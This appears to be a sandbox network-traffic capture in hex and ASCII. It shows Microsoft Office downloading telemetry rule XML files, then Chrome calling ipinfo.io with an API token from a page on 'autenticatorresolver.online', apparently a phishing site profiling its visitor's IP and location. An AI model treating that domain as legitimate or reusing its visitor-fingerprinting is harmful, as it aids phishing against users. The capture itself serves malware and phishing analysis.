2024-11-26 12:43:55 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:56 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124356Z-174f7845968glpgnhC1EWR7uec0000000vfg00000000detf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:56 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:56 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124356Z-174f7845968kvnqxhC1EWRmf3g0000000e80000000007bw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:57 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:58 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124358Z-174f7845968psccphC1EWRuz9s0000000vsg000000003ba7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:58 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:57 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124358Z-174f7845968swgbqhC1EWRmnb40000000vpg000000003a82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:58 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:58 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124358Z-174f7845968l4kp6hC1EWRe8840000000vr0000000006quf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:58 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124358Z-174f78459685726chC1EWRsnbg0000000vg0000000007fem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:58 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:58 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124358Z-174f7845968px8v7hC1EWR08ng0000000vqg00000000737h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:59 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:00 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:00 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124400Z-174f7845968cdxdrhC1EWRg0en0000000v9000000000dat3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:00 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:00 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124400Z-174f7845968qj8jrhC1EWRh41s0000000vf0000000002duz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:00 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:00 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124400Z-174f7845968xr5c2hC1EWRd0hn0000000ca0000000006fkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:00 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:00 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:00 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124400Z-174f7845968swgbqhC1EWRmnb40000000vmg000000006wtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:00 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49815	34.117.59.81	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:00 UTC	586	OUT	GET /json?token=ad570b7adafe32 HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://autenticatorresolver.online Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:01 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 274 content-type: application/json; charset=utf-8 date: Tue, 26 Nov 2024 12:44:01 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 12:44:01 UTC	274	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 